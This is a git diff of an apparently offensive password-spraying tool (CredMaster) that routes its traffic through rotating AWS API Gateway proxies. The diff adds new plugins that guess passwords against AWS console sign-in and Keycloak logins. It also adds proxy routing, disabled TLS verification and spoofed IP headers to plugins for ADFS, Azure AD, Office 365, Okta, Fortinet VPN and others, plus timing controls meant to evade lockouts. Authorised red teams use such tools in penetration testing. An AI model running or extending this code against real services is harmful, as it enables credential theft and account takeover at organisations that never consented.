self.log_entry(utils.prYellow(f"{api_key}: {response['output']}")) + elif response["result"].lower() == "failure": + self.console_logger.info(utils.prRed(f"{api_key}: {response['output']}")) - elif response["result"].lower() == "failure": - self.log_entry(utils.prRed(f"{api_key}: {response['output']}")) + elif response["result"].lower() == "inexistant": + self.console_logger.info(utils.prRed(f"{api_key}: User {cred['username']} does not exist ({response['output']})")) - else: - self.log_entry(f"{api_key}: {response['output']}") + else: + self.console_logger.info(f"{api_key}: {response['output']}") - self.q_spray.task_done() except Exception as ex: - self.log_entry(f"ERROR: {api_key}: {cred['username']} - {ex}") - - - def load_credentials(self, password): - - r = "" - if self.randomize: - r = ", randomized order" - - users = [] - if self.userenum: - self.log_entry(f"Loading users and useragents{r}") - users = self.load_file(self.userfile) - elif self.userpassfile is None: - self.log_entry(f"Loading credentials from {self.userfile} with password {password}{r}") - users = self.load_file(self.userfile) - else: - self.log_entry(f"Loading credentials from {self.userpassfile} as user-pass file{r}") - users = self.load_file(self.userpassfile) - - - if self.useragentfile is not None: - useragents = self.load_file(self.useragentfile) - else: - # randomly selected - useragents = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"] - - while users != []: - user = None - - if self.randomize: - user = users.pop(random.randint(0,len(users)-1)) - else: - user = users.pop(0) - - if self.userpassfile != None: - password = ":".join(user.split(':')[1:]).strip() - user = user.split(':')[0].strip() - - if self.trim: - if any(k['username'] == user for k in self.results): - #We already found this one - continue - - cred = {} - cred["username"] = user - cred["password"] = password - cred["useragent"] = random.choice(useragents) - - self.q_spray.put(cred) + self.console_logger.debug(f"Exception ! {ex}") + self.console_logger.error(f"ERROR: {api_key}: {cred['username']} - {ex}") + self.console_logger.debug("Spray thread exiting!") def load_file(self, filename): @@ -625,90 +694,25 @@ def load_file(self, filename): return [line.strip() for line in open(filename, 'r')] - def ww_calc_next_spray_delay(self, offset): - - spray_times = [8,12,14] # launch sprays at 7AM, 11AM and 3PM - - now = datetime.datetime.utcnow() + datetime.timedelta(hours=offset) - hour_cur = int(now.strftime("%H")) - minutes_cur = int(now.strftime("%M")) - day_cur = int(now.weekday()) - - delay = 0 - - # if just after the spray hour, use this time as the start and go - if hour_cur in spray_times and minutes_cur <= 59: - delay = 0 - return delay - - next = [] - - # if it's Friday and it's after the last spray period - if (day_cur == 4 and hour_cur > spray_times[2]) or day_cur > 4: - next = [0,0] - elif hour_cur > spray_times[2]: - next = [day_cur+1, 0] - else: - for i in range(0,len(spray_times)): - if spray_times[i] > hour_cur: - next = [day_cur, i] - break - - day_next = next[0] - hour_next = spray_times[next[1]] - - if next == [0,0]: - day_next = 7 - - hd = hour_next - hour_cur - md = 0 - minutes_cur - if day_next == day_cur: - delay = hd*60 + md - else: - dd = day_next - day_cur - delay = dd*24*60 + hd*60 + md - - return delay - - - def log_entry(self, entry): - - self.lock.acquire() - - ts = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3] - print(f"[{ts}] {entry}") - - if self.outfile is not None: - with open(self.outfile + "-credmaster.txt", 'a+') as file: - file.write(f"[{ts}] {entry}") - file.write("\n") - file.close() - - self.lock.release() - - - def log_valid(self, username, plugin): - - self.lock_userenum.acquire() - - with open("credmaster-validusers.txt", 'a+') as file: - file.write(username) - file.write('\n') - file.close() - - self.lock_userenum.release() - - - def log_success(self, username, password): - - self.lock_success.acquire() + def signal_success(self, username, password): + for x in self.results: + if x["username"] == username and x["password"] == password: + return + self.results.append({"username": username, "password": password}) - with open("credmaster-success.txt", 'a+') as file: - file.write(username + ":" + password) - file.write('\n') - file.close() - self.lock_success.release() + def keyboard_handler(self): + self.old_term = termios.tcgetattr(sys.stdin) + tty.setcbreak(sys.stdin) + while not self.cancelled and not self.finished: + try: + if select.select([sys.stdin,],[],[],1.0)[0]: + x = sys.stdin.read(1)[0] + if ord(x) == ord(' '): + self.display_progress() + except Exception as e: + pass + termios.tcsetattr(sys.stdin, termios.TCSADRAIN, self.old_term) if __name__ == '__main__': @@ -719,6 +723,7 @@ def log_success(self, username, password): basic_args.add_argument('--plugin', help='Spray plugin', default=None, required=False) basic_args.add_argument('-u', '--userfile', default=None, required=False, help='Username file') basic_args.add_argument('-p', '--passwordfile', default=None, required=False, help='Password file') + basic_args.add_argument('--passwordconfig', default=None, required=False, help='Password config file (JSON wih {"domain.com":"password_file.txt"})') basic_args.add_argument('-f', '--userpassfile', default=None, required=False, help='Username-Password file (one-to-one map, colon separated)') basic_args.add_argument('-a', '--useragentfile', default=None, required=False, help='Useragent file') basic_args.add_argument('--config', type=str, default=None, help='Configure CredMaster using config file config.json') @@ -727,18 +732,21 @@ def log_success(self, username, password): adv_args.add_argument('-o', '--outfile', default=None, required=False, help='Output file to write contents (omit extension)') adv_args.add_argument('-t', '--threads', type=int, default=None, help='Thread count (default 1, max 15)') adv_args.add_argument('--region', default=None, required=False, help='Specify AWS Region to create API Gateways in') - adv_args.add_argument('-j', '--jitter', type=int, default=None, required=False, help='Jitter delay between requests in seconds (applies per-thread)') - adv_args.add_argument('-m', '--jitter_min', type=int, default=None, required=False, help='Minimum jitter time in seconds, defaults to 0') - adv_args.add_argument('-d', '--delay', type=int, default=None, required=False, help='Delay between unique passwords, in minutes') - adv_args.add_argument('--passwordsperdelay', type=int, default=None, required=False, help='Number of passwords to be tested per delay cycle') - adv_args.add_argument('--batch_size', type=int, default=None, required=False, help='Number of request to perform per thread') - adv_args.add_argument('--batch_delay', type=int, default=None, required=False, help='Delay between each thread batch, in minutes') - adv_args.add_argument('-r', '--randomize', default=False, required=False, action="store_true", help='Randomize the input list of usernames to spray (will remain the same password)') + adv_args.add_argument('-j', '--jitter', type=int, default=None, required=False, help='Random delay (between 0 and jitter value) added between two requests in seconds') + adv_args.add_argument('-m', '--jitter_min', type=int, default=None, required=False, help='Minimum time between two requests in seconds, defaults to 0') + adv_args.add_argument('-d', '--delay_user', type=int, default=None, required=False, help='Delay between unique passwords on the same user, in seconds') + adv_args.add_argument('--delay_domain', type=int, default=None, required=False, help='Delay between requests for users of the same domain, in seconds') + adv_args.add_argument('--batch_size', type=int, default=None, required=False, help='Number of requests to perform in a batch') + adv_args.add_argument('--batch_delay', type=int, default=None, required=False, help='Delay between each batch, in seconds') adv_args.add_argument('--header', default=None, required=False, help='Add a custom header to each request for attribution, specify "X-Header: value"') adv_args.add_argument('--xforwardedfor', default=None, required=False, help='Make the X-Forwarded-For header a static IP instead of RNG') adv_args.add_argument('--weekday_warrior', default=None, required=False, help="If you don't know what this is don't use it, input is timezone UTC offset") adv_args.add_argument('--color', default=False, action="store_true", required=False, help="Output spray results in Green/Yellow/Red colors") adv_args.add_argument('--trim', '--remove', action="store_true", help="Remove users with found credentials from future sprays") + adv_args.add_argument('--cache_file', default="credmaster-cache.db", help="Directory used for storing current state") + adv_args.add_argument('--proxy', default=None, required=False, help='Main proxy (for authentication requests)') + adv_args.add_argument('--proxy_notify', default=None, required=False, help='Proxy for notifications') + adv_args.add_argument('--debug', action="store_true", help="Enable debug logging") notify_args = parser.add_argument_group(title='Notification Inputs') notify_args.add_argument('--slack_webhook', type=str, default=None, help='Webhook link for Slack notifications') @@ -754,6 +762,7 @@ def log_success(self, username, password): notify_args.add_argument('--exclude_password', default=False, action="store_true", help='Exclude discovered password in Notification message') fp_args = parser.add_argument_group(title='Fireprox Connection Inputs') + fp_args.add_argument('--no-fireprox', default=False, action="store_true", required=False, help="Disables IP rotation through Fireprox (no AWS credentials needed)") fp_args.add_argument('--profile_name', '--profile', type=str, default=None, help='AWS Profile Name to store/retrieve credentials') fp_args.add_argument('--access_key', type=str, default=None, help='AWS Access Key') fp_args.add_argument('--secret_access_key', type=str, default=None, help='AWS Secret Access Key') @@ -763,6 +772,7 @@ def log_success(self, username, password): fpu_args.add_argument('--clean', default=False, action="store_true", help='Clean up all fireprox AWS APIs from every region, warning irreversible') fpu_args.add_argument('--api_destroy', type=str, default=None, help='Destroy single API instance, by API ID') fpu_args.add_argument('--api_list', default=False, action="store_true", help='List all fireprox APIs') + fpu_args.add_argument('--api_prefix', type=str, default=None, help='Set fireprox APIs prefix') args,pluginargs = parser.parse_known_args() diff --git a/optional-requirements.txt b/optional-requirements.txt new file mode 100644 index 0000000..864d020 --- /dev/null +++ b/optional-requirements.txt @@ -0,0 +1,2 @@ +discordwebhook +requests[socks] diff --git a/plugins/adfs/__init__.py b/plugins/adfs/__init__.py index f7a08be..677029c 100644 --- a/plugins/adfs/__init__.py +++ b/plugins/adfs/__init__.py @@ -28,7 +28,7 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict["proxy_url"], headers=headers) + resp = requests.get(api_dict["proxy_url"], headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/adfs/adfs.py b/plugins/adfs/adfs.py index a1968b1..8700f4d 100644 --- a/plugins/adfs/adfs.py +++ b/plugins/adfs/adfs.py @@ -51,7 +51,7 @@ def adfs_authenticate(url, username, password, useragent, pluginargs): try: - resp = requests.post("{}/adfs/ls/".format(url), headers=headers, params=params_data, data=post_data, allow_redirects=False) + resp = requests.post("{}/adfs/ls/".format(url), headers=headers, params=params_data, data=post_data, allow_redirects=False, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 302: data_response['result'] = "success" diff --git a/plugins/aws/__init__.py b/plugins/aws/__init__.py new file mode 100644 index 0000000..499708c --- /dev/null +++ b/plugins/aws/__init__.py @@ -0,0 +1,41 @@ +import requests +import utils.utils as utils +requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) + + +def validate(pluginargs, args): + # + # Plugin Args + # + # --account_id XXXXXXXXXXXX -> Account Identifier + # + pluginargs["url"] = "https://signin.aws.amazon.com" + + if 'account_id' in pluginargs.keys(): + return True, None, pluginargs + else: + error = "Missing account_id argument, specify as --account_id XXXXXXXXXXXX" + return False, error, None + + +def testconnect(pluginargs, args, api_dict, useragent): + + success = True + headers = { + "User-Agent" : useragent, + "X-My-X-Forwarded-For" : utils.generate_ip(), + "x-amzn-apigateway-api-id" : utils.generate_id(), + "X-My-X-Amzn-Trace-Id" : utils.generate_trace_id(), + } + + headers = utils.add_custom_headers(pluginargs, headers) + + resp = requests.get(api_dict["proxy_url"], headers=headers, verify=False, proxies=pluginargs["proxy"]) + + if resp.status_code == 504: + output = "Testconnect: Connection failed, endpoint timed out, exiting" + success = False + else: + output = "Testconnect: Connection success, continuing" + + return success, output, pluginargs diff --git a/plugins/aws/aws.py b/plugins/aws/aws.py new file mode 100644 index 0000000..7b6c2ab --- /dev/null +++ b/plugins/aws/aws.py @@ -0,0 +1,88 @@ +import json, requests +import utils.utils as utils +requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) + + +def aws_authenticate(url, username, password, useragent, pluginargs): + + account = pluginargs["account_id"] + + data_response = { + 'result' : None, # Can be "success", "failure" or "potential" + 'error': False, + 'output' : "", + 'valid_user' : False + } + + body = { + "action": "iam-user-authentication", + "account": account, + "username": username, + "password": password, + "client_id": "arn:aws:signin:::console/canvas", + "redirect_uri": "https://console.aws.amazon.com/console/home" + } + + spoofed_ip = utils.generate_ip() + amazon_id = utils.generate_id() + trace_id = utils.generate_trace_id() + + headers = { + "User-Agent": useragent, + "X-My-X-Forwarded-For": spoofed_ip, + "x-amzn-apigateway-api-id": amazon_id, + "X-My-X-Amzn-Trace-Id": trace_id, + } + + headers = utils.add_custom_headers(pluginargs, headers) + + try: + resp = requests.post(f"{url}/authenticate", data=body, headers=headers, verify=False, proxies=pluginargs["proxy"]) + if resp.status_code == 200: + resp_json = resp.json() + + if resp_json.get("state") == "SUCCESS": + + if resp_json["properties"]["result"] == "SUCCESS": + data_response['result'] = "success" + data_response['output'] = f"[+] SUCCESS: => {account}:{username}:{password}" + data_response['valid_user'] = True + + elif resp_json["properties"]["result"] == "MFA": + data_response['result'] = "potential" + data_response['output'] = f"[+] SUCCESS: 2FA => {account}:{username}:{password} - Note: it does not means that the password is correct" + data_response['valid_user'] = True + + elif resp_json["properties"]["result"] == "CHANGE_PASSWORD": + data_response['result'] = "success" + data_response['output'] = f"[+] SUCCESS: Asking for password changing => {account}:{username}:{password}" + data_response['valid_user'] = True + + else: + result = resp_json["properties"]["result"] + data_response['output'] = f"[?] Unknown Response : ({result}) {account}:{username}:{password}" + data_response['result'] = "failure" + + elif resp_json.get("state") == "FAIL": + data_response['output'] = f"[!] FAIL: => {account}:{username}:{password}" + data_response['result'] = "failure" + + else: + data_response['output'] = f"[?] Unknown Response : {account}:{username}:{password}" + data_response['result'] = "failure" + + elif resp.status_code == 403: + data_response['result'] = "failure" + data_response['output'] = f"[-] FAILURE THROTTLE INDICATED: {resp.status_code} => {account}:{username}:{password}" + + else: + data_response['result'] = "failure" + data_response['output'] = f"[-] FAILURE: {resp.status_code} => {account}:{username}:{password}" + + + except Exception as ex: + data_response['error'] = True + data_response['output'] = ex + pass + + return data_response \ No newline at end of file diff --git a/plugins/azuresso/__init__.py b/plugins/azuresso/__init__.py index 1ed96b3..4e541d5 100644 --- a/plugins/azuresso/__init__.py +++ b/plugins/azuresso/__init__.py @@ -30,7 +30,7 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + resp = requests.get(api_dict['proxy_url'], headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/azuresso/azuresso.py b/plugins/azuresso/azuresso.py index 9869ac3..3f2cf5f 100644 --- a/plugins/azuresso/azuresso.py +++ b/plugins/azuresso/azuresso.py @@ -83,7 +83,7 @@ def azuresso_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - r = requests.post(f"{url}/{pluginargs['domain']}/winauth/trust/2005/usernamemixed?client-request-id={requestid}", data=tempdata, headers=headers, verify=False, timeout=30) + r = requests.post(f"{url}/{pluginargs['domain']}/winauth/trust/2005/usernamemixed?client-request-id={requestid}", data=tempdata, headers=headers, verify=False, timeout=30, proxies=pluginargs["proxy"]) xmlresponse = str(r.content) creds = username + ":" + password diff --git a/plugins/azvault/__init__.py b/plugins/azvault/__init__.py index 26ec7f0..8f9ce6c 100644 --- a/plugins/azvault/__init__.py +++ b/plugins/azvault/__init__.py @@ -20,7 +20,7 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + resp = requests.get(api_dict['proxy_url'], headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/azvault/azvault.py b/plugins/azvault/azvault.py index 47dbaf9..3da8b69 100644 --- a/plugins/azvault/azvault.py +++ b/plugins/azvault/azvault.py @@ -55,7 +55,7 @@ def azvault_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body) + resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 200: data_response['result'] = "success" diff --git a/plugins/ews/__init__.py b/plugins/ews/__init__.py index a30f0d0..aa8afe9 100644 --- a/plugins/ews/__init__.py +++ b/plugins/ews/__init__.py @@ -30,7 +30,7 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(url, headers=headers, verify=False) + resp = requests.get(url, headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/ews/ews.py b/plugins/ews/ews.py index e705fba..d8bc552 100644 --- a/plugins/ews/ews.py +++ b/plugins/ews/ews.py @@ -30,7 +30,7 @@ def ews_authenticate(url, username, password, useragent, pluginargs): try: - resp = requests.post(f"{url}/ews/", headers=headers, auth=HttpNtlmAuth(username, password), verify=False) + resp = requests.post(f"{url}/ews/", headers=headers, auth=HttpNtlmAuth(username, password), verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 500: data_response['output'] = f"[*] POTENTIAL: Found credentials, but server returned 500: {username}:{password}" diff --git a/plugins/fortinetvpn/__init__.py b/plugins/fortinetvpn/__init__.py index 649e9ef..7380f60 100644 --- a/plugins/fortinetvpn/__init__.py +++ b/plugins/fortinetvpn/__init__.py @@ -32,7 +32,7 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'] + "/remote/login?lang=en", headers=headers) + resp = requests.get(api_dict['proxy_url'] + "/remote/login?lang=en", headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/fortinetvpn/fortinetvpn.py b/plugins/fortinetvpn/fortinetvpn.py index b99dde1..4d47d70 100644 --- a/plugins/fortinetvpn/fortinetvpn.py +++ b/plugins/fortinetvpn/fortinetvpn.py @@ -39,7 +39,7 @@ def fortinetvpn_authenticate(url, username, password, useragent, pluginargs): try: - resp = requests.post("{}/remote/logincheck".format(url),data=post_params,headers=headers) + resp = requests.post("{}/remote/logincheck".format(url),data=post_params, headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 200 and 'redir=' in resp.text and '&portal=' in resp.text: data_response['result'] = "success" diff --git a/plugins/gmailenum/__init__.py b/plugins/gmailenum/__init__.py index 3332602..3199f00 100644 --- a/plugins/gmailenum/__init__.py +++ b/plugins/gmailenum/__init__.py @@ -23,7 +23,7 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + resp = requests.get(api_dict['proxy_url'], headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/gmailenum/gmailenum.py b/plugins/gmailenum/gmailenum.py index d953117..74bdcf9 100644 --- a/plugins/gmailenum/gmailenum.py +++ b/plugins/gmailenum/gmailenum.py @@ -27,7 +27,7 @@ def gmailenum_authenticate(url, username, password, useragent, pluginargs): try: - resp = requests.get(f"{url}/mail/gxlu",params={"email":username},headers=headers) + resp = requests.get(f"{url}/mail/gxlu", params={"email":username}, headers=headers, verify=False, proxies=pluginargs["proxy"]) if "Set-Cookie" in resp.headers.keys(): data_response['result'] = "success" diff --git a/plugins/httpbrute/__init__.py b/plugins/httpbrute/__init__.py index 911795b..2e938ba 100644 --- a/plugins/httpbrute/__init__.py +++ b/plugins/httpbrute/__init__.py @@ -38,7 +38,7 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + resp = requests.get(api_dict['proxy_url'], headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/httpbrute/httpbrute.py b/plugins/httpbrute/httpbrute.py index 9087fdd..c3279ce 100644 --- a/plugins/httpbrute/httpbrute.py +++ b/plugins/httpbrute/httpbrute.py @@ -34,15 +34,15 @@ def httpbrute_authenticate(url, username, password, useragent, pluginargs): if pluginargs['auth'] == 'basic': auth = requests.auth.HTTPBasicAuth(username, password) - resp = requests.get(url=full_url, auth=auth, verify=False, timeout=30) + resp = requests.get(url=full_url, auth=auth, verify=False, timeout=30, proxies=pluginargs["proxy"]) elif pluginargs['auth'] == 'digest': auth = requests.auth.HTTPDigestAuth(username, password) - resp = requests.get(url=full_url, auth=auth, verify=False, timeout=30) + resp = requests.get(url=full_url, auth=auth, verify=False, timeout=30, proxies=pluginargs["proxy"]) else: # NTLM auth = requests_ntlm.HttpNtlmAuth(username, password) - resp = requests.get(url=full_url, auth=auth, verify=False, timeout=30) + resp = requests.get(url=full_url, auth=auth, verify=False, timeout=30, proxies=pluginargs["proxy"]) if resp.status_code == 200: diff --git a/plugins/keycloak/__init__.py b/plugins/keycloak/__init__.py new file mode 100644 index 0000000..6755369 --- /dev/null +++ b/plugins/keycloak/__init__.py @@ -0,0 +1,52 @@ +import requests +import utils.utils as utils +from urllib.parse import urlparse +requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) + + +def validate(pluginargs, args): + if 'url' in pluginargs.keys(): + if not pluginargs['url'].startswith("https://") and not pluginargs['url'].startswith("http://"): + pluginargs['url'] = "https://" + pluginargs['url'] + if not pluginargs['url'].endswith("/"): + pluginargs['url'] = pluginargs['url'] + "/" + + if not urlparse(pluginargs['url']).path or urlparse(pluginargs['url']).path == '/': + if 'realm' in pluginargs.keys(): + if 'failure-string' in pluginargs.keys(): + return True, None, pluginargs + else: + error = "Missing failure-string argument, specify as --failure-string 'Invalid username or password'" + return False, error, None + else: + error = "Missing realm argument, specify as --realm 'master'" + return False, error, None + else: + error = "URL for keycloak plugin should only include the base domain (e.g. 'https://corp-auth.com/')" + return False, error, pluginargs + else: + error = "Missing url argument, specify as --url https://corp-auth.com or --url corp-auth.com" + return False, error, None + + +def testconnect(pluginargs, args, api_dict, useragent): + + success = True + headers = { + 'User-Agent' : useragent, + "X-My-X-Forwarded-For" : utils.generate_ip(), + "x-amzn-apigateway-api-id" : utils.generate_id(), + "X-My-X-Amzn-Trace-Id" : utils.generate_trace_id(), + } + + headers = utils.add_custom_headers(pluginargs, headers) + + resp = requests.get(api_dict['proxy_url'], headers=headers, verify=False, proxies=pluginargs["proxy"]) + + if resp.status_code == 504: + output = "Testconnect: Connection failed, endpoint timed out, exiting" + success = False + else: + output = "Testconnect: Connection success, continuing" + + return success, output, pluginargs diff --git a/plugins/keycloak/keycloak.py b/plugins/keycloak/keycloak.py new file mode 100644 index 0000000..ea8408a --- /dev/null +++ b/plugins/keycloak/keycloak.py @@ -0,0 +1,97 @@ +import requests +from bs4 import BeautifulSoup +import utils.utils as utils +requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) + + +def keycloak_authenticate(url, username, password, useragent, pluginargs): + # not all of these are used, provided for future dev if needed + # Only ones necessary to return at the moment are: + # error + # output + # success + # valid_user + data_response = { + 'result' : None, # Can be "success", "failure" or "potential" + 'error' : False, + 'output' : "", + 'valid_user' : False + } + + spoofed_ip = utils.generate_ip() + amazon_id = utils.generate_id() + trace_id = utils.generate_trace_id() + + # CHANGEME: Add more if necessary + headers = { + 'User-Agent' : useragent, + "X-My-X-Forwarded-For" : spoofed_ip, + "x-amzn-apigateway-api-id" : amazon_id, + "X-My-X-Amzn-Trace-Id" : trace_id, + } + + headers = utils.add_custom_headers(pluginargs, headers) + + try: + + realm = pluginargs["realm"] + failure_string = pluginargs["failure-string"] + + ACCOUNT_URL = f"{url}auth/realms/{realm}/account" + + session = requests.Session() + session.headers.update(headers) + + # Emitting the first request to the target realm "account" service. + # This should return a 302 Redirect (if not, the Keycloak installation is different and we should abort) + r = session.get(ACCOUNT_URL.replace(pluginargs['url'], url), allow_redirects=False, verify=False, proxies=pluginargs["proxy"]) + if r.status_code != 302: + print("[!] Account service request did not return expected 302 - Keycloak installation may be different. Investigate if there are a lot of this.") + raise Exception("[!] Account service request did not return expected 302 - Keycloak installation may be different. Investigate if there are a lot of this.") + + redirect_target = r.headers["Location"] + + # Emitting the second request to generated redirect URL + # This should return a 200 OK, set 3 cookies and include the HTML form "kc-form-login" + r = session.get(redirect_target.replace(pluginargs['url'], url), verify=False, proxies=pluginargs["proxy"]) + if r.status_code != 200: + print("[!] Something went wrong during redirect request, which did not return expected 200. Investigate if there are a lot of this.") + raise Exception("[!] Something went wrong during redirect request, which did not return expected 200. Investigate if there are a lot of this.") + + parser = BeautifulSoup(r.text, "html.parser") + login_form = parser.find('form', id='kc-form-login') + if login_form: + action_value = login_form.get('action') + else: + print("[!] Could not find expected login form in redirect request response. Investigate if there are a lot of this.") + raise Exception("[!] Could not find expected login form in redirect request response. Investigate if there are a lot of this.") + + # Emitting the third final request to actually perform the login attempt from action URL + # Upon failure, this will return a 200 OK response containing the failure string + payload = {"username": username, "password": password, "credentialId": ""} + for cookie in session.cookies: + # WARNING: MAKE SURE IT WORKS FINE TO RETRIEVE THE NEW PATH + cookie.path = f'/{url.split("/", 3)[3]}{cookie.path[1:]}' + session.cookies.set_cookie(cookie) + r = session.post(action_value.replace(pluginargs['url'], url), data=payload, verify=False, proxies=pluginargs["proxy"]) + + if r.status_code != 200: + data_response['result'] = "potential" + data_response['output'] = f"[?] POTENTIAL - The login request returned a {r.status_code} code instead of the expected 200 which might indicate a success.: => {username}:{password}" + + elif failure_string in r.text: + data_response['result'] = "failure" + data_response['output'] = f"[-] FAILURE (expected failure string returned) => {username}:{password}" + + else: + data_response['result'] = "potential" + data_response['output'] = f"[?] POTENTIAL - The login request returned a 200 response that does not contain expected failure string => {username}:{password}" + + except Exception as ex: + import traceback + print(traceback.print_exc()) + data_response['error'] = True + data_response['output'] = ex + pass + + return data_response diff --git a/plugins/msgraph/__init__.py b/plugins/msgraph/__init__.py index 158b4b0..6ee027f 100644 --- a/plugins/msgraph/__init__.py +++ b/plugins/msgraph/__init__.py @@ -21,7 +21,7 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + resp = requests.get(api_dict['proxy_url'], headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/msgraph/msgraph.py b/plugins/msgraph/msgraph.py index e545c6a..6fd90d5 100644 --- a/plugins/msgraph/msgraph.py +++ b/plugins/msgraph/msgraph.py @@ -57,7 +57,7 @@ def msgraph_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body) + resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 200: data_response['result'] = "success" diff --git a/plugins/msol/__init__.py b/plugins/msol/__init__.py index e2d2422..935999f 100644 --- a/plugins/msol/__init__.py +++ b/plugins/msol/__init__.py @@ -20,7 +20,7 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + resp = requests.get(api_dict['proxy_url'], headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/msol/msol.py b/plugins/msol/msol.py index f546d55..7af82b3 100644 --- a/plugins/msol/msol.py +++ b/plugins/msol/msol.py @@ -55,7 +55,7 @@ def msol_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body) + resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 200: data_response['result'] = "success" @@ -71,13 +71,13 @@ def msol_authenticate(url, username, password, useragent, pluginargs): data_response['result'] = "failure" data_response['output'] = f"[-] FAILURE ({error_code}): Invalid username or password. Username: {username} could exist" - elif "AADSTS50128" in error or "AADSTS50059" in error: - data_response['result'] = "failure" - data_response['output'] = f"[-] FAILURE ({error_code}): Tenant for account {username} is not using AzureAD/Office365" + elif any([x in error for x in ["AADSTS50128", "AADSTS50059", "AADSTS50034"]]): + data_response['result'] = "inexistant" + data_response['output'] = f"[-] INEXISTANT ({error_code}): Tenant for account {username} is not using AzureAD/Office365" - elif "AADSTS50034" in error: - data_response['result'] = "failure" - data_response['output'] = f'[-] FAILURE ({error_code}): Tenant for account {username} is not using AzureAD/Office365' + elif "AADSTS50056" in error: + data_response['result'] = "inexistant" + data_response['output'] = f"[-] INEXISTANT ({error_code}): Password does not exist in store for {username}" elif "AADSTS53003" in error: # Access successful but blocked by CAP diff --git a/plugins/o365enum/__init__.py b/plugins/o365enum/__init__.py index 9a620fb..d628023 100644 --- a/plugins/o365enum/__init__.py +++ b/plugins/o365enum/__init__.py @@ -23,7 +23,7 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'] + "/common/GetCredentialType", headers=headers) + resp = requests.get(api_dict['proxy_url'] + "/common/GetCredentialType", headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/o365enum/o365enum.py b/plugins/o365enum/o365enum.py index c2ac84d..9af6426 100644 --- a/plugins/o365enum/o365enum.py +++ b/plugins/o365enum/o365enum.py @@ -53,6 +53,8 @@ def o365enum_authenticate(url, username, password, useragent, pluginargs): body = '{"Username":"%s"}' % username sess = requests.session() + sess.proxies = pluginargs["proxy"] + sess.verify = False response = sess.post(f"{url}/common/GetCredentialType", headers=headers, data=body) diff --git a/plugins/okta/__init__.py b/plugins/okta/__init__.py index c1c2344..5ef9de9 100644 --- a/plugins/okta/__init__.py +++ b/plugins/okta/__init__.py @@ -35,7 +35,7 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + resp = requests.get(api_dict['proxy_url'], headers=headers, verify=False, proxies=pluginargs["proxy"]) if resp.status_code == 504: 